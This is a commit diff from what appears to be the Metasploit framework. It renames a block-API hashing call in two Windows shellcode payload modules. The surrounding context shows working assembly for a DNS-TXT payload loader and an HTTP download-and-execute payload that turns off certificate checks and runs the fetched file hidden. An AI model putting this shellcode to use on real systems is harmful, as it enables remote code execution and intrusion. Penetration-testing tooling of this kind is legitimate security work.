Skip to content

Commit 9bfb674

Browse files
committed
fix(payloads): fixing typo on block-api hashing function
1 parent 00707a8 commit 9bfb674

File tree

2 files changed

+14
-14
lines changed

2 files changed

+14
-14
lines changed

modules/payloads/singles/windows/dns_txt_query_exec.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -89,7 +89,7 @@ def generate(_opts = {})
8989
push eax ; flAllocationType MEM_COMMIT (0x1000)
9090
push eax ; dwSize (0x1000)
9191
push 0x0 ; lpAddress
92-
push #{Rex::Text.hash("kernel32.dll", "VirtualAlloc")} ; kernel32.dll!VirtualAlloc
92+
push #{Rex::Text.block_api_hash("kernel32.dll", "VirtualAlloc")} ; kernel32.dll!VirtualAlloc
9393
call ebp
9494
push eax ; save pointer on stack, will be used in memcpy
9595
mov #{bufferreg}, eax ; save pointer, to jump to at the end
@@ -103,7 +103,7 @@ def generate(_opts = {})
103103
push eax ; Push 'dnsapi' to the stack
104104
push 0x61736e64 ; ...
105105
push esp ; Push a pointer to the 'dnsapi' string on the stack.
106-
push #{Rex::Text.hash("kernel32.dll", "LoadLibraryA")} ; kernel32.dll!LoadLibraryA
106+
push #{Rex::Text.block_api_hash("kernel32.dll", "LoadLibraryA")} ; kernel32.dll!LoadLibraryA
107107
call ebp ; LoadLibraryA( "dnsapi" )
108108
109109
;prepare for loop of queries
@@ -126,7 +126,7 @@ def generate(_opts = {})
126126
push #{queryoptions} ; Options
127127
push #{wType} ; wType
128128
push eax ; lpstrName
129-
push #{Rex::Text.hash("dnsapi.dll", "DnsQuery_A")} ; dnsapi.dll!DnsQuery_A
129+
push #{Rex::Text.block_api_hash("dnsapi.dll", "DnsQuery_A")} ; dnsapi.dll!DnsQuery_A
130130
call ebp ;
131131
test eax, eax ; query ok ?
132132
jnz jump_to_payload ; no, jump to payload

modules/payloads/singles/windows/download_exec.rb

Lines changed: 11 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -136,7 +136,7 @@ def generate(_opts = {})
136136
push 0x696e6977 ; ...
137137
mov esi, esp ; Save a pointer to wininet
138138
push esp ; Push a pointer to the "wininet" string on the stack.
139-
push #{Rex::Text.hash('kernel32.dll', 'LoadLibraryA')} ; hash( "kernel32.dll", "LoadLibraryA" )
139+
push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} ; hash( "kernel32.dll", "LoadLibraryA" )
140140
call ebp ; LoadLibraryA( "wininet" )
141141
142142
internetopen:
@@ -146,7 +146,7 @@ def generate(_opts = {})
146146
push edi ; LPCTSTR lpszProxyName
147147
push edi ; DWORD dwAccessType (PRECONFIG = 0)
148148
push esi ; LPCTSTR lpszAgent ("wininet\x00")
149-
push #{Rex::Text.hash('wininet.dll', 'InternetOpenA')} ; hash( "wininet.dll", "InternetOpenA" )
149+
push #{Rex::Text.block_api_hash('wininet.dll', 'InternetOpenA')} ; hash( "wininet.dll", "InternetOpenA" )
150150
call ebp
151151
152152
jmp.i8 dbl_get_server_host
@@ -162,7 +162,7 @@ def generate(_opts = {})
162162
push #{port_nr} ; PORT
163163
push ebx ; HOSTNAME
164164
push eax ; HINTERNET hInternet
165-
push #{Rex::Text.hash('wininet.dll', 'InternetConnectA')} ; hash( "wininet.dll", "InternetConnectA" )
165+
push #{Rex::Text.block_api_hash('wininet.dll', 'InternetConnectA')} ; hash( "wininet.dll", "InternetConnectA" )
166166
call ebp
167167
168168
jmp.i8 get_server_uri
@@ -178,7 +178,7 @@ def generate(_opts = {})
178178
push ecx ; url
179179
push edx ; method
180180
push eax ; hConnection
181-
push #{Rex::Text.hash('wininet.dll', 'HttpOpenRequestA')} ; hash( "wininet.dll", "HttpOpenRequestA" )
181+
push #{Rex::Text.block_api_hash('wininet.dll', 'HttpOpenRequestA')} ; hash( "wininet.dll", "HttpOpenRequestA" )
182182
call ebp
183183
mov esi, eax ; hHttpRequest
184184
@@ -194,7 +194,7 @@ def generate(_opts = {})
194194
push eax ; &dwFlags
195195
push 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
196196
push esi ; hRequest
197-
push #{Rex::Text.hash('wininet.dll', 'InternetSetOptionA')} ; hash( "wininet.dll", "InternetSetOptionA" )
197+
push #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')} ; hash( "wininet.dll", "InternetSetOptionA" )
198198
call ebp
199199
200200
httpsendrequest:
@@ -204,7 +204,7 @@ def generate(_opts = {})
204204
push edi ; dwHeadersLength
205205
push edi ; headers
206206
push esi ; hHttpRequest
207-
push #{Rex::Text.hash('wininet.dll', 'HttpSendRequestA')} ; hash( "wininet.dll", "HttpSendRequestA" )
207+
push #{Rex::Text.block_api_hash('wininet.dll', 'HttpSendRequestA')} ; hash( "wininet.dll", "HttpSendRequestA" )
208208
call ebp
209209
test eax,eax
210210
jnz create_file
@@ -236,7 +236,7 @@ def generate(_opts = {})
236236
push 2 ; dwShareMode
237237
push 2 ; dwDesiredAccess
238238
push edi ; lpFileName
239-
push #{Rex::Text.hash('kernel32.dll', 'CreateFileA')} ; kernel32.dll!CreateFileA
239+
push #{Rex::Text.block_api_hash('kernel32.dll', 'CreateFileA')} ; kernel32.dll!CreateFileA
240240
call ebp
241241
242242
download_prep:
@@ -253,7 +253,7 @@ def generate(_opts = {})
253253
push eax ; read length
254254
push ecx ; target buffer on stack
255255
push esi ; hRequest
256-
push #{Rex::Text.hash('wininet.dll', 'InternetReadFile')} ; hash( "wininet.dll", "InternetReadFile" )
256+
push #{Rex::Text.block_api_hash('wininet.dll', 'InternetReadFile')} ; hash( "wininet.dll", "InternetReadFile" )
257257
call ebp
258258
259259
test eax,eax ; download failed? (optional?)
@@ -271,20 +271,20 @@ def generate(_opts = {})
271271
lea eax,[esp+0xc] ; get pointer to buffer
272272
push eax ; lpBuffer
273273
push ebx ; hFile
274-
push #{Rex::Text.hash('kernel32.dll', 'WriteFile')} ; kernel32.dll!WriteFile
274+
push #{Rex::Text.block_api_hash('kernel32.dll', 'WriteFile')} ; kernel32.dll!WriteFile
275275
call ebp
276276
sub esp,4 ; set stack back to where it was
277277
jmp.i8 download_more
278278
279279
close_and_run:
280280
push ebx
281-
push #{Rex::Text.hash('kernel32.dll', 'CloseHandle')} ; kernel32.dll!CloseHandle
281+
push #{Rex::Text.block_api_hash('kernel32.dll', 'CloseHandle')} ; kernel32.dll!CloseHandle
282282
call ebp
283283
284284
execute_file:
285285
push 0 ; don't show
286286
push edi ; lpCmdLine
287-
push #{Rex::Text.hash('kernel32.dll', 'WinExec')} ; kernel32.dll!WinExec
287+
push #{Rex::Text.block_api_hash('kernel32.dll', 'WinExec')} ; kernel32.dll!WinExec
288288
call ebp
289289
290290
thats_all_folks:

0 commit comments

Comments
 (0)